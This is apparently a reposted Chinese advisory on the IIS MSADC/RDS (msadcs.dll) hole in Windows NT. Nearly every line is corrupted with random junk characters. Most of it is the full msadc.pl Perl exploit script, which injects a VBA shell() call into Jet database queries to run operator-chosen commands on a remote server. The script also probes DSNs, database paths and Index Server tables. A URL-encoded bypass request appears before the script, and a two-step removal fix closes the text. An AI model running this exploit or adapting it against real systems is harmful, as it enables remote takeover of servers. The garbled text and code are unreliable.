IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Xa CX!Lr, @HQ`~C #Z' 涉及程序：
&f"-d Microsoft NT server
{kp"nl$< 9)}[7Mg:C 描述：
pi /g H 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
;-9=RI0 $eD.W 详细：
qm./|#m> 如果你没有时间读详细内容的话，就删除:
'd. EC# c:\Program Files\Common Files\System\Msadc\msadcs.dll
5V6G=H 有关的安全问题就没有了。
pNOwDJtK qC}-_u7s 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
A9f)tqbc u xW~uEh 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Z9MdD>uwi 关于利用ODBC远程漏洞的描述，请参看:
%C$ % !C r
YogW! http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm &0='r;*i 3|WW o1 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
!u_Y7i3^ http://www.microsoft.com/security/bulletins/MS99-025faq.asp }lh I\q &S( .GdEf 这里不再论述。
.$Ik`[+Z 2r!s*b\Ix 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Z w *v )^ m%i]L _ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
4#ug]X4Y') 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
8)O[Aq:: bu
|a0h7e ERpnuMb #将下面这段保存为txt文件，然后: "perl -x 文件名"
l ;JA8o\ x (^@ra$. #!perl
fG}tMSI #
%1H[Wh (U # MSADC/RDS 'usage' (aka exploit) script
3 3#0J$j7 #
L[^9E'L$ # by rain.forest.puppy
{p;zuCF1 #
~;1l9^N| # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
~KW,kyXBnD # beta test and find errors!
Qj,]N@7 7[I}*3Q' use Socket; use Getopt::Std;
4kG,*3 &2 getopts("e:vd:h:XR", \%args);
:,Pn3xl y=`2\L" O print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
N$h{Yvbn &0NFb^8+ if (!defined $args{h} && !defined $args{R}) {
'XZ) !1N print qq~
O$IE n/%+ Usage: msadc.pl -h <host> { -d <delay> -X -v }
F{EnOr`,m= -h <host> = host you want to scan (ip or domain)
TR<<+ -d <seconds> = delay between calls, default 1 second
k%D+Y(WGz8 -X = dump Index Server path table, if available
R($KSui -v = verbose
jqv- D -e = external dictionary file for step 5
Tsgk/e9K2? b
/@#}Gc Or a -R will resume a command session
2ggdWg7z 0o+6Q8q ~; exit;}
y9_K, g A3|Dz&@: $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
D$bIo " if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
F_;vO%} if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
%%NlTE8* if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
-sw
. $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
\<y`!"c
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Fe]B &n x*?x=^I{ if (!defined $args{R}){ $ret = &has_msadc;
Rn{iaM2Y < die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
: y5<go8e kBYNf = print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Hj:r[/ . "cmd /c ";
oN{ Z+T : $in=<STDIN>; chomp $in;
O) WC W<p $command="cmd /c " . $in ;
XLAN Np%E FP;Ccl"s if (defined $args{R}) {&load; exit;}
5D_fXf x_| $/.zm; D print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
lD"(MQV@0 &try_btcustmr;
uM_# iTag+G4* print "\nStep 2: Trying to make our own DSN...";
P5
K' p5}# &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
r9 ui|>U" 3E>fr R\!I print "\nStep 3: Trying known DSNs...";
!R1.7}O &known_dsn;
h&Efg mH Ic f{RG print "\nStep 4: Trying known .mdbs...";
dZi(&s &known_mdb;
'[ C.|)" & e;=cAXG if (defined $args{e}){
F{eU" ;D print "\nStep 5: Trying dictionary of DSN names...";
G`\ f &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Xb{
[c+. (x VsDAp=@ print "Sorry Charley...maybe next time?\n";
|P -8HlOr exit;
E_8\f_%wK blTo5N LX ##############################################################################
1E73i_L 9[m6Li sub sendraw { # ripped and modded from whisker
mf}O-Igte sleep($delay); # it's a DoS on the server! At least on mine...
t ?9v^vFR my ($pstr)=@_;
q~3,yyu socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
|4T !&[r die("Socket problems\n");
E-I-0h2 if(connect(S,pack "SnA4x8",2,80,$target)){
0%m)@ukb select(S); $|=1;
$% 1vW=d print $pstr; my @in=<S>;
D9FJ 1~ select(STDOUT); close(S);
vgUb{D return @in;
5m9*85Ib } else { die("Can't connect...\n"); }}
{@tv> !WW 4?-.Z UT-1 ##############################################################################
qEpi] =| iMs5zf <M sub make_header { # make the HTTP request
hRt y [ my $msadc=<<EOT
WHjUR0NZ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
R}lsnX< User-Agent: ACTIVEDATA
[P 06lIO Host: $ip
w9, iq@ Content-Length: $clen
`FsH}UPu
b Connection: Keep-Alive
z)9wXo #~
Xtp"QY
p ADCClientVersion:01.06
uO=aaKG Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
&2 `F n !m sFQ^2PwbS --!ADM!ROX!YOUR!WORLD!
#|*F1K Content-Type: application/x-varg
Q($Z%1S Content-Length: $reqlen
)h k tI7: 5 Cm EOT
Y=?yhAw ; $msadc=~s/\n/\r\n/g;
hi0R. V& return $msadc;}
L+C y Qq TZ2=O<Kj ##############################################################################
:'*DPB- 4dhvFG lW sub make_req { # make the RDS request
`67[O4$< my ($switch, $p1, $p2)=@_;
6IWxP t ~ my $req=""; my $t1, $t2, $query, $dsn;
{%IE xPJ ,:??P1 if ($switch==1){ # this is the btcustmr.mdb query
/)dF K~ $query="Select * from Customers where City=" . make_shell();
>2]JXLq $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
'A: x/iv}^ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
%K>.l h@ [ o.B elsif ($switch==2){ # this is general make table query
3bDQk
:L $query="create table AZZ (B int, C varchar(10))";
Fd#m<" $dsn="$p1";}
oI.G-ChP
"dI; elsif ($switch==3){ # this is general exploit table query
Sr%;fq $query="select * from AZZ where C=" . make_shell();
}S3qBQTYL $dsn="$p1";}
Er{# ziN+ \[jq4`\$ elsif ($switch==4){ # attempt to hork file info from index server
D5:{fWVsV/ $query="select path from scope()";
7}vg.hmZ $dsn="Provider=MSIDXS;";}
@DZB9DDR L3n_ 5| elsif ($switch==5){ # bad query
*&d<yJM`b $query="select";
( ZY@$'' $dsn="$p1";}
V^\8BVw [-)r5Dsdq $t1= make_unicode($query);
i} N8(B( $t2= make_unicode($dsn);
HO[wTB| D] $req = "\x02\x00\x03\x00";
1} tbH[ $req.= "\x08\x00" . pack ("S1", length($t1));
om]4BRe $req.= "\x00\x00" . $t1 ;
< 0S,Q+& $req.= "\x08\x00" . pack ("S1", length($t2));
MW PvR|Q $req.= "\x00\x00" . $t2 ;
q+[Sb G & $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
H) >@/"j; return $req;}
=IUUeFv +r _>v<(7 ##############################################################################
fgBM_c&9T 1&P< sub make_shell { # this makes the shell() statement
cKn` /\.H return "'|shell(\"$command\")|'";}
'w14sr% 1*dRK6 ##############################################################################
7{xh 8#m k<cgO[m sub make_unicode { # quick little function to convert to unicode
L*Me. "* my ($in)=@_; my $out;
SL,p36N for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
2e|N@j
& return $out;}
** +e7k 8o/}} =m$ ##############################################################################
\'M3|w`f .cR
-V`
sub rdo_success { # checks for RDO return success (this is kludge)
Nx-uQ^e*1 my (@in) = @_; my $base=content_start(@in);
fPR$kc h
if($in[$base]=~/multipart\/mixed/){
]q6;# EUr? return 1 if( $in[$base+10]=~/^\x09\x00/ );}
/"?HZ% W return 0;}
l$YC/ bP |Xw/E) jA ##############################################################################
b ]7GmRekl $z$u{ sub make_dsn { # this makes a DSN for us
7Su#Je] my @drives=("c","d","e","f");
{<5ybbhLV print "\nMaking DSN: ";
?\#N9 +{W foreach $drive (@drives) {
J -ePE7i print "$drive: ";
@&"Pci+-| my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
i[ $0a4 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
5o/&T"]@ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
&*s0\
8 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
.7
asW ( return 0 if $2 eq "404"; # not found/doesn't exist
. c#y%S if($2 eq "200") {
1RKW2RCaW_ foreach $line (@results) {
&h~Xq^ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Pu b0IIs } return 0;}
g!i45-n3gt 0oh]61g C ##############################################################################
fA=#Fzk 2 uHIiH@ S sub verify_exists {
| e a~'N1 my ($page)=@_;
5`]UE7gT my @results=sendraw("GET $page HTTP/1.0\n\n");
a,Gxm! return $results[0];}
Fxc)}i` x v No(> ##############################################################################
D{v8q)5r >2 3 - sub try_btcustmr {
v_S4hz6w\ my @drives=("c","d","e","f");
K\^ 0_F K my @dirs=("winnt","winnt35","winnt351","win","windows");
J4=_ w $ DBGLmw foreach $dir (@dirs) {
1ZJQs 6 print "$dir -> "; # fun status so you can see progress
^2o dr \ foreach $drive (@drives) {
#,(sAj print "$drive: "; # ditto
Gq#~vr $reqlen=length( make_req(1,$drive,$dir) ) - 28;
)c/Fasfg[P $reqlenlen=length( "$reqlen" );
mfny4R1_ $clen= 206 + $reqlenlen + $reqlen;
I =Wc&1g <P%}|@ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Q{QYB h& if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
]v G{kAnH else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
i77GE `N /RHb% ##############################################################################
?hYqcT[ % I gL_5A sub odbc_error {
1x~U*vbh Q my (@in)=@_; my $base;
W2-=U@ my $base = content_start(@in);
Hqz?E@bc@ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
_kFYBd $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
02AI%OOH $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
<uP^-bv;( $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
w' 7R4 return $in[$base+4].$in[$base+5].$in[$base+6];}
(/ " & print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
>i,iOx |E- print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
:Zw @ yt $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
}iBC@`mg( H/~?@CE(YC ##############################################################################
M~6@20$oW Zs zs1{t sub verbose {
ALd;$fd qf my ($in)=@_;
-qV{WZ Hp return if !$verbose;
K_- d( print STDOUT "\n$in\n";}
2 4\g bv< +$z]w(lb T ##############################################################################
! {_yaVF 0>6DSQq~t( sub save {
6e r(% 4! my ($p1, $p2, $p3, $p4)=@_;
I12KT~z<r open(OUT, ">rds.save") || print "Problem saving parameters...\n";
~bA,GfSn0 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
jkrx]`A{~ close OUT;}
&$fbP5uAZ 6a}r( yP ##############################################################################
v$|mo;6 vrl[BPI sub load {
wod/&!)] A my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
O jnJV open(IN,"<rds.save") || die("Couldn't open rds.save\n");
fJ80tt?r @p=<IN>; close(IN);
f!GHEhQ9 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
8LM #WIm? $target= inet_aton($ip) || die("inet_aton problems");
cz.3|Lby print "Resuming to $ip ...";
. 5hp0L} $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
?g }kb if($p[1]==1) {
!QC<n / $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
b& t[S[P.V $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
!;}2F- my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
B \<ydN if (rdo_success(@results)){print "Success!\n";}
P1d,8~ ; else { print "failed\n"; verbose(odbc_error(@results));}}
03E3cp " elsif ($p[1]==3){
C!UEXj`l9 if(run_query("$p[3]")){
_-a|VTM print "Success!\n";} else { print "failed\n"; }}
QPg2Y<2 elsif ($p[1]==4){
U~QMR-bz if(run_query($drvst . "$p[3]")){
E [S' :Q print "Success!\n"; } else { print "failed\n"; }}
@W9H9 PWv& exit;}
O3_B<Em 8 lS($@@{ ##############################################################################
{rGYRn, T^ )plWw sub create_table {
<?|6*2_= my ($in)=@_;
p{H0dj ^| $reqlen=length( make_req(2,$in,"") ) - 28;
G,DOBA $reqlenlen=length( "$reqlen" );
U)~#g'6:8 $clen= 206 + $reqlenlen + $reqlen;
6VR18Y!y my @results=sendraw(make_header() . make_req(2,$in,""));
zA{8C];~ return 1 if rdo_success(@results);
3q~Fl=|.o my $temp= odbc_error(@results); verbose($temp);
@InJ_9E return 1 if $temp=~/Table 'AZZ' already exists/;
{!K;`I[] v return 0;}
q) _r3 O)5 #Fcp( ##############################################################################
]gP8 ?s| 'Oy5e@G+? sub known_dsn {
rt.[,m # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
{E~l>Z88 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
.~<]HAwq "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
y&rY0bm "banner", "banners", "ads", "ADCDemo", "ADCTest");
<9 },M 4I ,o&TK foreach $dSn (@dsns) {
pN k8! k print ".";
7\/u& next if (!is_access("DSN=$dSn"));
R~c1)[[E if(create_table("DSN=$dSn")){
J k*QcEE= print "$dSn successful\n";
Ao *FcrXN if(run_query("DSN=$dSn")){
Q&wYc{TUbm print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
^@q# $/z print "Something's borked. Use verbose next time\n";}}} print "\n";}
h6FgS9H 3:" &Z6t# ##############################################################################
GN%<"I. MgnE-6_c sub is_access {
0^iJlR2 my ($in)=@_;
Ki 3_N*z $reqlen=length( make_req(5,$in,"") ) - 28;
? Q:PPqQ $reqlenlen=length( "$reqlen" );
> ZDC . ~ $clen= 206 + $reqlenlen + $reqlen;
q] ZSj J my @results=sendraw(make_header() . make_req(5,$in,""));
s"rg_FoL my $temp= odbc_error(@results);
?z"YC&Tp verbose($temp); return 1 if ($temp=~/Microsoft Access/);
_S<?t9mS return 0;}
Z!)f* rIPl6,w~ ##############################################################################
`r.N x vJ^@w' sub run_query {
H
/%}R my ($in)=@_;
2lJZw@ $reqlen=length( make_req(3,$in,"") ) - 28;
{kG;."S+K $reqlenlen=length( "$reqlen" );
GiqBzV3" $clen= 206 + $reqlenlen + $reqlen;
jNqVdP]d\ my @results=sendraw(make_header() . make_req(3,$in,""));
J(hA^;8: return 1 if rdo_success(@results);
UC#"=Xd 4 my $temp= odbc_error(@results); verbose($temp);
<[5#c*A return 0;}
u2,H ]- G|V\^.f< ##############################################################################
(olLB \!7 *(&yly sub known_mdb {
6'vi68 my @drives=("c","d","e","f","g");
R }.3|0 my @dirs=("winnt","winnt35","winnt351","win","windows");
1 O9$W?)Q my $dir, $drive, $mdb;
>gGi l|I my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
j #es2; #rq?f # this is sparse, because I don't know of many
Y`=z.D{ my @sysmdbs=( "\\catroot\\icatalog.mdb",
UC;= ) "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
x {vIT- f "\\system32\\certmdb.mdb",
-PXoMZx% "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
7A[Ogro $ %;jk my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
mOSCkp{<e "\\cfusion\\cfapps\\forums\\forums_.mdb",
mc~` "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
s/PhXf\MN "\\cfusion\\cfapps\\security\\realm_.mdb",
fT
x4vlI4 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
x36NL^ "\\cfusion\\database\\cfexamples.mdb",
@7]\y7D "\\cfusion\\database\\cfsnippets.mdb",
p&m
^IWD "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
_Z0\`kba+ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
` +Xe'ey "\\cfusion\\brighttiger\\database\\cleam.mdb",
c-|kv[\a "\\cfusion\\database\\smpolicy.mdb",
DUQ9AT#3 "\\cfusion\\database\cypress.mdb",
|thad!? "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
0 ovZ&l "\\website\\cgi-win\\dbsample.mdb",
rF' <r~Lw "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
0+p
5/5 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
CBIT`k.+ ); #these are just
:` ;(p{ foreach $drive (@drives) {
!2wETs? foreach $dir (@dirs){
VZIKjrKs foreach $mdb (@sysmdbs) {
uGM>C" print ".";
K^8@'#S if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
mUiOD$rO print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
`f LfT' if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
S>(z\`1qm print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
-S7RRh'p } else { print "Something's borked. Use verbose next time\n"; }}}}}
` -yhl3si c J2y)` foreach $drive (@drives) {
c'xUJhEL foreach $mdb (@mdbs) {
QW,cn7 print ".";
>b 3@>W if(create_table($drv . $drive . $dir . $mdb)){
VmMh+) UZ print "\n" . $drive . $dir . $mdb . " successful\n";
htQ;m)>J: if(run_query($drv . $drive . $dir . $mdb)){
=P)"NP7f' print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
]|t9B/()i } else { print "Something's borked. Use verbose next time\n"; }}}}
/^~p~HKtx }
-S`TEX
.:T9p plq ##############################################################################
\ ?r$&K]4 a4 : `2 sub hork_idx {
&bn*p.=G print "\nAttempting to dump Index Server tables...\n";
hl* MUD, print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
eS*
*L 3 $reqlen=length( make_req(4,"","") ) - 28;
;r%<2( $reqlenlen=length( "$reqlen" );
FF8WTuzB+ $clen= 206 + $reqlenlen + $reqlen;
hJ<:-u+yk} my @results=sendraw2(make_header() . make_req(4,"",""));
R !jhwY$ if (rdo_success(@results)){
l'W3=,G[? my $max=@results; my $c; my %d;
k:`a +L iZ for($c=19; $c<$max; $c++){
8u/3?Kc $results[$c]=~s/\x00//g;
LPb]mC6# $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
#&}%70R ) $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
m\l51}xz $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
%C6|-?TAd $d{"$1$2"}="";}
\f6lT3"VN foreach $c (keys %d){ print "$c\n"; }
i'U,S`L6> } else {print "Index server doesn't seem to be installed.\n"; }}
;g&7*1E YmZC?x_{M2 ##############################################################################
1V#0\1sj 8rla0d@ sub dsn_dict {
+}&pVe\t open(IN, "<$args{e}") || die("Can't open external dictionary\n");
t; h+Cf4 while(<IN>){
m=#aHF $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
?`z a-+<r< next if (!is_access("DSN=$dSn"));
ZDW,7b% U if(create_table("DSN=$dSn")){
)hePN4e dj print "$dSn successful\n";
}<E sS if(run_query("DSN=$dSn")){
[5x+aW%ql print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
>3<&V{<K print "Something's borked. Use verbose next time\n";}}}
2Y9y5[K,F) print "\n"; close(IN);}
oZ?IR#^ qxRT1B]{Wx ##############################################################################
?SHc}iaU# h gF21Oj9 sub sendraw2 { # ripped and modded from whisker
\ x3^ sleep($delay); # it's a DoS on the server! At least on mine...
IiG4ib>)W my ($pstr)=@_;
@>d&5}F_>{ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
pZyb die("Socket problems\n");
GjG{ qR if(connect(S,pack "SnA4x8",2,80,$target)){
f<Va<TL6- print "Connected. Getting data";
FEge+`{, open(OUT,">raw.out"); my @in;
'SsPx&)l select(S); $|=1; print $pstr;
P9 W<gIO while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Dh*~U :6$g close(OUT); select(STDOUT); close(S); return @in;
C~3@M<X } else { die("Can't connect...\n"); }}
B)_!F`9 ---Ks0\V ##############################################################################
aa%Yk" V @ U@ 1#!ZZ6 sub content_start { # this will take in the server headers
qp luk! my (@in)=@_; my $c;
\r:m ({G for ($c=1;$c<500;$c++) {
,{#RrF e if($in[$c] =~/^\x0d\x0a/){
de3yP, if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
v'mJ~tz else { return $c+1; }}}
f(EYx)gZ return -1;} # it should never get here actually
s^{{@O. 3Yn:fsy ##############################################################################
DW'0j$; "~ .8eKRQ sub funky {
; |E! |w my (@in)=@_; my $error=odbc_error(@in);
^EnNbFI if($error=~/ADO could not find the specified provider/){
wFKuSd print "\nServer returned an ADO miscofiguration message\nAborting.\n";
>\^N\ & exit;}
Requ.?!fG; if($error=~/A Handler is required/){
7J #g1 print "\nServer has custom handler filters (they most likely are patched)\n";
eH"qI2A exit;}
5$ ( b3] if($error=~/specified Handler has denied Access/){
'f p<FeTg print "\nServer has custom handler filters (they most likely are patched)\n";
NgDZ4& L exit;}}
T%N~oa Rx@%cuP* ##############################################################################
f(@"[-[ -oaG| sub has_msadc {
V1UUAvN7s my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
>" PqQO my $base=content_start(@results);
'@3a,pl return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
?=pZmvQg return 0;}
1{;[q3a =Qjw.6@ ########################
if gr<QlG ^Yg|P&e(;
/)eNx 解决方案：
WF3DGqs_] 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
SNopAACf1 2、移除web 目录: /msadc
